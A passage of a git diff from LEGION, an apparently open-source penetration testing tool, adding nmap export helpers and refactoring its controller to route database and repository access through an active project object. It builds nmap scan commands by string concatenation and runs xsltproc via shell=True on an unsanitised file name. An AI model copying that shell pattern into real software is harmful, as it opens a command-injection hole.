that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import subprocess + +from app.logging.legionLog import log +from app.shell.Shell import Shell +from app.timing import timing +from app.tools.nmap.NmapExporter import NmapExporter + + +class DefaultNmapExporter(NmapExporter): + def __init__(self, shell: Shell): + self.shell = shell + + @timing + def exportOutputToHtml(self, fileName: str, outputFolder: str) -> None: + try: + command = f"xsltproc -o {fileName}.html {fileName}.xml" + p = subprocess.Popen(command, shell=True) + p.wait() + self.shell.move(f"{fileName}.html", outputFolder) + except: + log.error("nmap output export to html attempted, but failed.") + log.error('Could not convert nmap XML to HTML. Try: apt-get install xsltproc') diff --git a/app/tools/nmap/NmapExporter.py b/app/tools/nmap/NmapExporter.py new file mode 100644 index 00000000..fa6cf5b4 --- /dev/null +++ b/app/tools/nmap/NmapExporter.py @@ -0,0 +1,24 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from abc import ABC + + +class NmapExporter(ABC): + def exportOutputToHtml(self, fileName: str, outputFolder: str) -> None: + pass + diff --git a/app/tools/nmap/NmapHelpers.py b/app/tools/nmap/NmapHelpers.py new file mode 100644 index 00000000..ffaecea8 --- /dev/null +++ b/app/tools/nmap/NmapHelpers.py @@ -0,0 +1,28 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" + +from app.shell.Shell import Shell + + +def nmapFileExists(shell: Shell, fileName: str) -> bool: + return shell.directoryOrFileExists(f"{fileName}.xml") and \ + shell.directoryOrFileExists(f"{fileName}.nmap") and \ + shell.directoryOrFileExists(f"{fileName}.gnmap") and \ + shell.isFile(f"{fileName}.xml") and \ + shell.isFile(f"{fileName}.nmap") and \ + shell.isFile(f"{fileName}.gnmap") diff --git a/app/tools/nmap/__init__.py b/app/tools/nmap/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/controller/controller.py b/controller/controller.py index a9ddbdf6..f6797d06 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -12,13 +12,12 @@ ''' import signal # for file operations, to kill processes, for regex, for subprocesses +import subprocess from app.Screenshooter import Screenshooter from app.actions.updateProgress.UpdateProgressObservable import UpdateProgressObservable -from db.repositories.HostRepository import HostRepository from app.importers.NmapImporter import NmapImporter from app.importers.PythonImporter import PythonImporter -from app.shell.DefaultShell import DefaultShell from ui.observers.QtUpdateProgressObserver import QtUpdateProgressObserver try: @@ -33,7 +32,7 @@ class Controller: # initialisations that will happen once - when the program is launched @timing - def __init__(self, view, logic, hostRepository: HostRepository): + def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' self.build = '1565621036' @@ -48,7 +47,6 @@ def __init__(self, view, logic, hostRepository: HostRepository): self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." self.smallIcon = './images/icons/Legion-N_128x128.svg' self.bigIcon = './images/icons/Legion-N_128x128.svg' - self.hostRepository: HostRepository = hostRepository self.logic = logic self.view = view @@ -56,7 +54,7 @@ def __init__(self, view, logic, hostRepository: HostRepository): self.view.startOnce() self.view.startConnections() - self.loadSettings() # creation of context menu actions from settings file and set up of various settings + self.loadSettings() # creation of context menu actions from settings file and set up of various settings self.initNmapImporter() self.initPythonImporter() self.initScreenshooter() @@ -72,9 +70,10 @@ def start(self, title='*untitled'): self.fastProcessQueue = queue.Queue() # to manage fast processes (banner, snmpenum, etc) self.fastProcessesRunning = 0 # counts the number of fast processes currently running self.slowProcessesRunning = 0 # counts the number of slow processes currently running - self.nmapImporter.setDB(self.logic.db) # tell nmap importer which db to use - self.nmapImporter.setHostRepository(HostRepository(self.logic.db)) - self.pythonImporter.setDB(self.logic.db) + activeProject = self.logic.activeProject + self.nmapImporter.setDB(activeProject.database) # tell nmap importer which db to use + self.nmapImporter.setHostRepository(activeProject.repositoryContainer.hostRepository) + self.pythonImporter.setDB(activeProject.database) self.updateOutputFolder() # tell screenshooter where the output folder is self.view.start(title) @@ -83,7 +82,8 @@ def initNmapImporter(self): updateProgressObserver = QtUpdateProgressObserver(ProgressWidget('Importing nmap..')) updateProgressObservable.attach(updateProgressObserver) - self.nmapImporter = NmapImporter(updateProgressObservable, self.hostRepository) + self.nmapImporter = NmapImporter(updateProgressObservable, + self.logic.activeProject.repositoryContainer.hostRepository) self.nmapImporter.done.connect(self.importFinished) self.nmapImporter.schedule.connect(self.scheduler) # run automated attacks self.nmapImporter.log.connect(self.view.ui.LogOutputTextView.append) @@ -108,7 +108,7 @@ def initTimers(self): # these time self.updateUITimer.setSingleShot(True) self.updateUITimer.timeout.connect(self.view.updateProcessesTableView) self.updateUITimer.timeout.connect(self.view.updateToolsTableView) - + self.updateUI2Timer = QTimer() self.updateUI2Timer.setSingleShot(True) self.updateUI2Timer.timeout.connect(self.view.updateInterface) @@ -121,11 +121,14 @@ def initTimers(self): # these time # this function fetches all the settings from the conf file. Among other things it populates the actions lists that will be used in the context menus. def loadSettings(self): self.settingsFile = AppSettings() - self.settings = Settings(self.settingsFile) # load settings from conf file (create conf file first if necessary) - self.originalSettings = Settings(self.settingsFile) # save the original state so that we can know if something has changed when we exit LEGION - self.logic.setStoreWordlistsOnExit(self.settings.brute_store_cleartext_passwords_on_exit=='True') + self.settings = Settings( + self.settingsFile) # load settings from conf file (create conf file first if necessary) + self.originalSettings = Settings( + self.settingsFile) # save the original state so that we can know if something has changed when we exit LEGION + self.logic.projectManager.setStoreWordListsOnExit(self.logic.activeProject, + self.settings.brute_store_cleartext_passwords_on_exit == 'True') self.view.settingsWidget.setSettings(Settings(self.settingsFile)) - + def applySettings(self, newSettings): # call this function when clicking 'apply' in the settings menu (after validation) self.settings = newSettings @@ -146,44 +149,45 @@ def getSettings(self): #################### AUXILIARY #################### def getCWD(self): - return self.logic.cwd - + return self.logic.activeProject.properties.workingDirectory + def getProjectName(self): - return self.logic.projectname - + return self.logic.activeProject.properties.projectName + def getVersion(self): return (self.version + "-" + self.build) - + def getRunningFolder(self): - return self.logic.runningfolder + return self.logic.activeProject.properties.runningFolder def getOutputFolder(self): - return self.logic.outputfolder - + return self.logic.activeProject.properties.outputFolder + def getUserlistPath(self): - return self.logic.usernamesWordlist.filename - + return self.logic.activeProject.properties.usernamesWordList.filename + def getPasslistPath(self): - return self.logic.passwordsWordlist.filename - + return self.logic.activeProject.properties.passwordWordList.filename + def updateOutputFolder(self): - self.screenshooter.updateOutputFolder(self.logic.outputfolder+'/screenshots') # update screenshot folder + self.screenshooter.updateOutputFolder( + self.logic.activeProject.properties.outputFolder + '/screenshots') # update screenshot folder def copyNmapXMLToOutputFolder(self, filename): self.logic.copyNmapXMLToOutputFolder(filename) def isTempProject(self): - return self.logic.istemp - + return self.logic.activeProject.properties.isTemporary + def getDB(self): - return self.logic.db - + return self.logic.activeProject.database + def getRunningProcesses(self): return self.processes - + def getHostActions(self): return self.settings.hostActions - + def getPortActions(self): return self.settings.portActions @@ -193,46 +197,37 @@ def getPortTerminalActions(self): #################### ACTIONS #################### def createNewProject(self): - self.view.closeProject() # removes temp folder (if any) - tf = self.logic.shell.create_named_temporary_file(suffix=".legion", - prefix="legion-", - directory="./tmp/", - delete_on_close=False) # to store the db file - db = Database(tf.name) - self.logic.projectname = tf.name - self.logic.db = db - self.logic.cwd = self.logic.shell.get_current_working_directory() - self.logic.reinitialize(db, HostRepository(db)) - self.logic.createTemporaryFiles() - self.start() # initialisations (globals, etc) + self.view.closeProject() # removes temp folder (if any) + self.logic.createNewTemporaryProject() + self.start() # initialisations (globals, etc) def openExistingProject(self, filename, projectType='legion'): self.view.closeProject() self.view.importProgressWidget.reset('Opening project..') - self.view.importProgressWidget.show() # show the progress widget + self.view.importProgressWidget.show() # show the progress widget self.logic.openExistingProject(filename, projectType) - self.start(ntpath.basename(str(self.logic.projectname))) # initialisations (globals, signals, etc) + self.start(ntpath.basename(self.logic.activeProject.properties.projectName)) # initialisations (globals, signals, etc) self.view.restoreToolTabs() # restores the tool tabs for each host self.view.hostTableClick() # click on first host to restore his host tool tabs self.view.importProgressWidget.hide() # hide the progress widget def saveProject(self, lastHostIdClicked, notes): if not lastHostIdClicked == '': - self.logic.noteRepository.storeNotes(lastHostIdClicked, notes) + self.logic.activeProject.repositoryContainer.noteRepository.storeNotes(lastHostIdClicked, notes) def saveProjectAs(self, filename, replace=0): success = self.logic.saveProjectAs(filename, replace) if success: - self.nmapImporter.setDB(self.logic.db) # tell nmap importer which db to use + self.nmapImporter.setDB(self.logic.activeProject.database) # tell nmap importer which db to use return success - + def closeProject(self): self.saveSettings() # backup and save config file, if necessary self.screenshooter.terminate() self.initScreenshooter() - self.logic.processRepository.toggleProcessDisplayStatus(True) + self.logic.activeProject.repositoryContainer.processRepository.toggleProcessDisplayStatus(True) self.view.updateProcessesTableView() # clear process table - self.logic.removeTemporaryFiles() + self.logic.projectManager.closeProject(self.logic.activeProject) @timing def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scanMode, nmapOptions = []): @@ -244,39 +239,44 @@ def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scan if runStagedNmap: self.runStagedNmap(targetHosts, runHostDiscovery) elif runHostDiscovery: - outputfile = self.logic.runningfolder + "/nmap/" + getTimestamp() + '-host-discover' - command = "nmap -n -sV -O --version-light -T" + str(nmapSpeed) + " " + targetHosts + " -oA "+outputfile + outputfile = self.logic.activeProject.properties.runningFolder + "/nmap/" + getTimestamp() + '-host-discover' + command = "nmap -n -sV -O --version-light -T" + str(nmapSpeed) + " " + targetHosts + " -oA " + outputfile log.info("Running {command}".format(command=command)) - self.runCommand('nmap', 'nmap (discovery)', targetHosts, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (discovery)', True)) + self.runCommand('nmap', 'nmap (discovery)', targetHosts, '', '', command, getTimestamp(True), + outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (discovery)', True)) else: - outputfile = self.logic.runningfolder + "/nmap/" + getTimestamp() + '-nmap-list' + outputfile = self.logic.activeProject.properties.runningFolder + "/nmap/" + getTimestamp() + '-nmap-list' command = "nmap -n -sL -T" + str(nmapSpeed) + " " + targetHosts + " -oA " + outputfile - self.runCommand('nmap', 'nmap (list)', targetHosts, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (list)', True)) + self.runCommand('nmap', 'nmap (list)', targetHosts, '', '', command, getTimestamp(True), outputfile, + self.view.createNewTabForHost(str(targetHosts), 'nmap (list)', True)) elif scanMode == 'Hard': - outputfile = self.logic.runningfolder + "/nmap/" + getTimestamp() + '-nmap-custom' + outputfile = self.logic.activeProject.properties.runningFolder + "/nmap/" + getTimestamp() + '-nmap-custom' nmapOptionsString = ' '.join(nmapOptions) nmapOptionsString = nmapOptionsString + " -T" + str(nmapSpeed) command = "nmap " + nmapOptionsString + " " + targetHosts + " -oA " + outputfile - self.runCommand('nmap', 'nmap (custom ' + nmapOptionsString + ')', targetHosts, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (custom ' + nmapOptionsString + ')', True)) + self.runCommand('nmap', 'nmap (custom ' + nmapOptionsString + ')', targetHosts, '', '', command, + getTimestamp(True), outputfile, + self.view.createNewTabForHost(str(targetHosts), 'nmap (custom ' + nmapOptionsString + ')', + True)) #################### CONTEXT MENUS #################### @timing def getContextMenuForHost(self, isChecked, showAll=True): # showAll exists because in some cases we only want to show host tools excluding portscans and 'mark as checked' - + menu = QMenu() - self.nmapSubMenu = QMenu('Portscan') + self.nmapSubMenu = QMenu('Portscan') actions = [] - + for a in self.settings.hostActions: if "nmap" in a[1] or "unicornscan" in a[1]: actions.append(self.nmapSubMenu.addAction(a[0])) else: actions.append(menu.addAction(a[0])) - if showAll: - actions.append(self.nmapSubMenu.addAction("Run nmap (staged)")) - + if showAll: + actions.append(self.nmapSubMenu.addAction("Run nmap (staged)")) + menu.addMenu(self.nmapSubMenu) menu.addSeparator() @@ -287,23 +287,24 @@ def getContextMenuForHost(self, isChecked, showAll=True): # showAll ex menu.addAction('Rescan') menu.addAction('Purge Results') menu.addAction('Delete') - + return menu, actions @timing def handleHostAction(self, ip, hostid, actions, action): - + repositoryContainer = self.logic.activeProject.repositoryContainer + if action.text() == 'Mark as checked' or action.text() == 'Mark as unchecked': - self.logic.hostRepository.toggleHostCheckStatus(ip) + repositoryContainer.hostRepository.toggleHostCheckStatus(ip) self.view.updateInterface() return - + if action.text() == 'Run nmap (staged)': log.info('Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results - if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'tcp'): - self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'tcp') - if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'udp'): - self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'udp') + if repositoryContainer.portRepository.getPortsByIPAndProtocol(ip, 'tcp'): + repositoryContainer.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'tcp') + if repositoryContainer.portRepository.getPortsByIPAndProtocol(ip, 'udp'): + repositoryContainer.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'udp') self.view.updateInterface() self.runStagedNmap(ip, False) return @@ -315,34 +316,36 @@ def handleHostAction(self, ip, hostid, actions, action): if action.text() == 'Purge Results': log.info('Purging previous portscan data for host {0}'.format(str(ip))) - if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'tcp'): - self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'tcp') - if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'udp'): - self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'udp') + if repositoryContainer.portRepository.getPortsByIPAndProtocol(ip, 'tcp'): + repositoryContainer.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'tcp') + if repositoryContainer.portRepository.getPortsByIPAndProtocol(ip, 'udp'): + repositoryContainer.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'udp') self.view.updateInterface() return if action.text() == 'Delete': log.info('Purging previous portscan data for host {0}'.format(str(ip))) - if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'tcp'): - self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'tcp') - if self.logic.portRepository.getPortsByIPAndProtocol(ip, 'udp'): - self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'udp') - self.logic.hostRepository.deleteHost(ip) + if repositoryContainer.portRepository.getPortsByIPAndProtocol(ip, 'tcp'): + repositoryContainer.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'tcp') + if repositoryContainer.portRepository.getPortsByIPAndProtocol(ip, 'udp'): + repositoryContainer.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'udp') + self.logic.activeProject.repositoryContainer.hostRepository.deleteHost(ip) self.view.updateInterface() return - + for i in range(0,len(actions)): if action == actions[i]: name = self.settings.hostActions[i][1] invisibleTab = False if 'nmap' in name: # to make sure different nmap scans appear under the same tool name name = 'nmap' - invisibleTab = True + invisibleTab = True elif 'python-script' in name: invisibleTab = True # remove all chars that are not alphanumeric from tool name (used in the outputfile's name) - outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(name))+"/"+getTimestamp()+"-"+re.sub("[^0-9a-zA-Z]", "", str(self.settings.hostActions[i][1]))+"-"+ip + outputfile = self.logic.activeProject.properties.runningFolder + "/" + re.sub("[^0-9a-zA-Z]", "", str( + name)) + "/" + getTimestamp() + "-" + re.sub("[^0-9a-zA-Z]", "", + str(self.settings.hostActions[i][1])) + "-" + ip command = str(self.settings.hostActions[i][2]) command = command.replace('[IP]', ip).replace('[OUTPUT]', outputfile) # check if same type of nmap scan has already been made and purge results before scanning @@ -351,14 +354,15 @@ def handleHostAction(self, ip, hostid, actions, action): if '-sU' in command: proto = 'udp' - if self.logic.portRepository.getPortsByIPAndProtocol(ip, proto): # if we are running nmap we need to purge previous portscan results (of the same protocol) - self.logic.portRepository.deleteAllPortsAndScriptsByHostId(hostid, proto) + if repositoryContainer.portRepository.getPortsByIPAndProtocol(ip, proto): # if we are running nmap we need to purge previous portscan results (of the same protocol) + repositoryContainer.portRepository.deleteAllPortsAndScriptsByHostId(hostid, proto) tabTitle = self.settings.hostActions[i][1] - self.runCommand(name, tabTitle, ip, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabTitle, invisibleTab)) + self.runCommand(name, tabTitle, ip, '', '', command, getTimestamp(True), outputfile, + self.view.createNewTabForHost(ip, tabTitle, invisibleTab)) break - @timing + @timing def getContextMenuForServiceName(self, serviceName='*', menu=None): if menu == None: # if no menu was given, create a new one menu = QMenu() @@ -368,8 +372,8 @@ def getContextMenuForServiceName(self, serviceName='*', menu=None): menu.addAction("Take screenshot") actions = [] - for a in self.settings.portActions: - if serviceName is None or serviceName == '*' or serviceName in a[3].split(",") or a[3] == '': # if the service name exists in the portActions list show the command in the context menu + for a in self.settings.portActions: + if serviceName is None or serviceName == '*' or serviceName in a[3].split(",") or a[3] == '': # if the service name exists in the portActions list show the command in the context menu actions.append([self.settings.portActions.index(a), menu.addAction(a[0])]) # in actions list write the service and line number that corresponds to it in portActions modifiers = QtWidgets.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu @@ -377,7 +381,7 @@ def getContextMenuForServiceName(self, serviceName='*', menu=None): shiftPressed = True else: shiftPressed = False - + return menu, actions, shiftPressed @timing @@ -385,38 +389,40 @@ def handleServiceNameAction(self, targets, actions, action, restoring=True): if action.text() == 'Take screenshot': for ip in targets: - url = ip[0]+':'+ip[1] - self.screenshooter.addToQueue(url) - self.screenshooter.start() + url = ip[0] + ':' + ip[1] + self.screenshooter.addToQueue(url) + self.screenshooter.start() return - elif action.text() == 'Open in browser': + elif action.text() == 'Open in browser': for ip in targets: url = ip[0]+':'+ip[1] self.browser.addToQueue(url) self.browser.start() return - + for i in range(0,len(actions)): if action == actions[i][1]: srvc_num = actions[i][0] for ip in targets: tool = self.settings.portActions[srvc_num][1] - tabTitle = self.settings.portActions[srvc_num][1]+" ("+ip[1]+"/"+ip[2]+")" - outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool))+"/"+getTimestamp()+'-'+tool+"-"+ip[0]+"-"+ip[1] - + tabTitle = self.settings.portActions[srvc_num][1] + " (" + ip[1] + "/" + ip[2] + ")" + outputfile = self.logic.activeProject.properties.runningFolder + "/" + re.sub("[^0-9a-zA-Z]", "",str(tool)) + "/" + getTimestamp() + '-' + tool + "-" + \ + ip[0] + "-" + ip[1] + command = str(self.settings.portActions[srvc_num][2]) command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]).replace('[OUTPUT]', outputfile) - + if 'nmap' in command and ip[2] == 'udp': - command=command.replace("-sV","-sVU") + command = command.replace("-sV", "-sVU") if 'nmap' in tabTitle: # we don't want to show nmap tabs restoring = True elif 'python-script' in tabTitle: # we don't want to show nmap tabs restoring = True - self.runCommand(tool, tabTitle, ip[0], ip[1], ip[2], command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip[0], tabTitle, restoring)) + self.runCommand(tool, tabTitle, ip[0], ip[1], ip[2], command, getTimestamp(True), outputfile, + self.view.createNewTabForHost(ip[0], tabTitle, restoring)) break @timing @@ -427,19 +433,19 @@ def getContextMenuForPort(self, serviceName='*'): modifiers = QtWidgets.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu if modifiers == QtCore.Qt.ShiftModifier: serviceName='*' - + terminalActions = [] # custom terminal actions from settings file for a in self.settings.portTerminalActions: # if wildcard or the command is valid for this specific service or if the command is valid for all services if serviceName is None or serviceName == '*' or serviceName in a[3].split(",") or a[3] == '': terminalActions.append([self.settings.portTerminalActions.index(a), menu.addAction(a[0])]) - + menu.addSeparator() menu.addAction("Send to Brute") menu.addSeparator() # dummy is there because we don't need the third return value menu, actions, dummy = self.getContextMenuForServiceName(serviceName, menu) menu.addSeparator() menu.addAction("Run custom command") - + return menu, actions, terminalActions @timing @@ -457,8 +463,8 @@ def handlePortAction(self, targets, *args): if action.text() == 'Run custom command': log.info('custom command') return - - terminal = self.settings.general_default_terminal # handle terminal actions + + terminal = self.settings.general_default_terminal # handle terminal actions for i in range(0,len(terminalActions)): if action == terminalActions[i][1]: srvc_num = terminalActions[i][0] @@ -470,126 +476,134 @@ def handlePortAction(self, targets, *args): self.handleServiceNameAction(targets, actions, action, restoring) - def getContextMenuForProcess(self): + def getContextMenuForProcess(self): menu = QMenu() killAction = menu.addAction("Kill") clearAction = menu.addAction("Clear") return menu - + def handleProcessAction(self, selectedProcesses, action): # selectedProcesses is a list of tuples (pid, status, procId) - + if action.text() == 'Kill': if self.view.killProcessConfirmation(): for p in selectedProcesses: - if p[1]!="Running": - if p[1]=="Waiting": - if str(self.logic.processRepository.getStatusByProcessId(p[2])) == 'Running': + if p[1] != "Running": + if p[1] == "Waiting": + if str(self.logic.activeProject.repositoryContainer.processRepository.getStatusByProcessId( + p[2])) == 'Running': self.killProcess(self.view.ProcessesTableModel.getProcessPidForId(p[2]), p[2]) - self.logic.processRepository.storeProcessCancelStatus(str(p[2])) + self.logic.activeProject.repositoryContainer.processRepository.storeProcessCancelStatus( + str(p[2])) else: log.info("This process has already been terminated. Skipping.") else: self.killProcess(p[0], p[2]) self.view.updateProcessesTableView() return - - if action.text() == 'Clear': # h.ide all the processes that are not running - self.logic.processRepository.toggleProcessDisplayStatus() + + if action.text() == 'Clear': # hide all the processes that are not running + self.logic.activeProject.repositoryContainer.processRepository.toggleProcessDisplayStatus() self.view.updateProcessesTableView() #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def isHostInDB(self, host): - return self.logic.hostRepository.exists(host) + return self.logic.activeProject.repositoryContainer.hostRepository.exists(host) def getHostsFromDB(self, filters): - return self.logic.hostRepository.getHosts(filters) - + return self.logic.activeProject.repositoryContainer.hostRepository.getHosts(filters) + def getServiceNamesFromDB(self, filters): - return self.logic.serviceRepository.getServiceNames(filters) + return self.logic.activeProject.repositoryContainer.serviceRepository.getServiceNames(filters) def getProcessStatusForDBId(self, dbId): - return self.logic.processRepository.getStatusByProcessId(dbId) - - def getPidForProcess(self,dbId): - return self.logic.processRepository.getPIDByProcessId(dbId) + return self.logic.activeProject.repositoryContainer.processRepository.getStatusByProcessId(dbId) - def storeCloseTabStatusInDB(self,pid): - return self.logic.processRepository.storeCloseStatus(pid) + def getPidForProcess(self, dbId): + return self.logic.activeProject.repositoryContainer.processRepository.getPIDByProcessId(dbId) + + def storeCloseTabStatusInDB(self, pid): + return self.logic.activeProject.repositoryContainer.processRepository.storeCloseStatus(pid) def getServiceNameForHostAndPort(self, hostIP, port): - return self.logic.serviceRepository.getServiceNamesByHostIPAndPort(hostIP, port) - + return self.logic.activeProject.repositoryContainer.serviceRepository.getServiceNamesByHostIPAndPort(hostIP, + port) + #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### - + def getPortsAndServicesForHostFromDB(self, hostIP, filters): - return self.logic.portRepository.getPortsAndServicesByHostIP(hostIP, filters) + return self.logic.activeProject.repositoryContainer.portRepository.getPortsAndServicesByHostIP(hostIP, filters) def getHostsAndPortsForServiceFromDB(self, serviceName, filters): - return self.logic.hostRepository.getHostsAndPortsByServiceName(serviceName, filters) - + return self.logic.activeProject.repositoryContainer.hostRepository.getHostsAndPortsByServiceName(serviceName, + filters) + def getHostInformation(self, hostIP): - return self.logic.hostRepository.getHostInformation(hostIP) - + return self.logic.activeProject.repositoryContainer.hostRepository.getHostInformation(hostIP) + def getPortStatesForHost(self, hostid): - return self.logic.portRepository.getPortStatesByHostId(hostid) + return self.logic.activeProject.repositoryContainer.portRepository.getPortStatesByHostId(hostid) def getScriptsFromDB(self, hostIP): - return self.logic.scriptRepository.getScriptsByHostIP(hostIP) + return self.logic.activeProject.repositoryContainer.scriptRepository.getScriptsByHostIP(hostIP) def getCvesFromDB(self, hostIP): - return self.logic.cveRepository.getCVEsByHostIP(hostIP) + return self.logic.activeProject.repositoryContainer.cveRepository.getCVEsByHostIP(hostIP) def getScriptOutputFromDB(self, scriptDBId): - return self.logic.scriptRepository.getScriptOutputById(scriptDBId) + return self.logic.activeProject.repositoryContainer.scriptRepository.getScriptOutputById(scriptDBId) def getNoteFromDB(self, hostid): - return self.logic.noteRepository.getNoteByHostId(hostid) + return self.logic.activeProject.repositoryContainer.noteRepository.getNoteByHostId(hostid) def getHostsForTool(self, toolName, closed='False'): - return self.logic.processRepository.getHostsByToolName(toolName, closed) - + return self.logic.activeProject.repositoryContainer.processRepository.getHostsByToolName(toolName, closed) + #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### def getProcessesFromDB(self, filters, showProcesses='noNmap', sort='desc', ncol='id'): - return self.logic.processRepository.getProcesses(filters, showProcesses, sort, ncol) - + return self.logic.activeProject.repositoryContainer.processRepository.getProcesses(filters, showProcesses, sort, + ncol) + #################### PROCESSES #################### def checkProcessQueue(self): log.debug('# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes)) log.debug('# Fast processes running: ' + str(self.fastProcessesRunning)) log.debug('# Fast processes queued: ' + str(self.fastProcessQueue.qsize())) - + if not self.fastProcessQueue.empty(): self.processTableUiUpdateTimer.start(1000) if (self.fastProcessesRunning <= int(self.settings.general_max_fast_processes)): next_proc = self.fastProcessQueue.get() - if not self.logic.processRepository.isCancelledProcess(str(next_proc.id)): - log.debug('Running: '+ str(next_proc.command)) + if not self.logic.activeProject.repositoryContainer.processRepository.isCancelledProcess( + str(next_proc.id)): + log.debug('Running: ' + str(next_proc.command)) next_proc.display.clear() self.processes.append(next_proc) self.fastProcessesRunning += 1 # Add Timeout next_proc.waitForFinished(10) next_proc.start(next_proc.command) - self.logic.processRepository.storeProcessRunningStatus(next_proc.id, next_proc.pid()) + self.logic.activeProject.repositoryContainer.processRepository.storeProcessRunningStatus( + next_proc.id, next_proc.pid()) elif not self.fastProcessQueue.empty(): log.debug('> next process was canceled, checking queue again..') self.checkProcessQueue() #else: # log.info("Halting process panel update timer as all processes are finished.") # self.processTableUiUpdateTimer.stop() - + def cancelProcess(self, dbId): log.info('Canceling process: ' + str(dbId)) - self.logic.processRepository.storeProcessCancelStatus(str(dbId)) # mark it as cancelled + self.logic.activeProject.repositoryContainer.processRepository.storeProcessCancelStatus( + str(dbId)) # mark it as cancelled self.updateUITimer.stop() self.updateUITimer.start(1500) # update the interface soon def killProcess(self, pid, dbId): log.info('Killing process: ' + str(pid)) - self.logic.processRepository.storeProcessKillStatus(str(dbId)) + self.logic.activeProject.repositoryContainer.processRepository.storeProcessKillStatus(str(dbId)) try: os.kill(int(pid), signal.SIGTERM) except OSError: @@ -611,7 +625,8 @@ def handleProcStop(*vargs): self.processTimers[qProcess.id] = None procTime = timer.elapsed() / 1000 qProcess.elapsed = procTime - self.logic.processRepository.storeProcessRunningElapsedTime(qProcess.id, procTime) + self.logic.activeProject.repositoryContainer.processRepository.storeProcessRunningElapsedTime(qProcess.id, + procTime) def handleProcUpdate(*vargs): procTime = timer.elapsed() / 1000 @@ -635,16 +650,17 @@ def handleProcUpdate(*vargs): qProcess.finished.connect(handleProcStop) updateElapsed.timeout.connect(handleProcUpdate) - textbox.setProperty('dbId', str(self.logic.processRepository.storeProcess(qProcess))) + textbox.setProperty('dbId', + str(self.logic.activeProject.repositoryContainer.processRepository.storeProcess(qProcess))) updateElapsed.start(1000) self.processTimers[qProcess.id] = updateElapsed self.processMeasurements[qProcess.pid()] = 0 - + log.info('Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) self.checkProcessQueue() - + self.updateUITimer.stop() # update the processes table self.updateUITimer.start(900) # while the process is running, when there's output to read, display it in the GUI @@ -661,7 +677,8 @@ def handleProcUpdate(*vargs): nextStage = stage + 1 qProcess.finished.connect( lambda: self.runStagedNmap(str(hostIp), discovery=discovery, stage=nextStage, - stop=self.logic.processRepository.isKilledProcess(str(qProcess.id)))) + stop=self.logic.activeProject.repositoryContainer.processRepository.isKilledProcess( + str(qProcess.id)))) return qProcess.pid() # return the pid so that we can kill the process if needed @@ -677,7 +694,7 @@ def runPython(self): outputfile = '/tmp/a' qProcess = MyQProcess(name, tabTitle, hostIp, port, protocol, command, startTime, outputfile, textbox) - textbox.setProperty('dbId', str(self.logic.processRepository.storeProcess(qProcess))) + textbox.setProperty('dbId', str(self.logic.activeProject.repositoryContainer.processRepository.storeProcess(qProcess))) log.info('Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) @@ 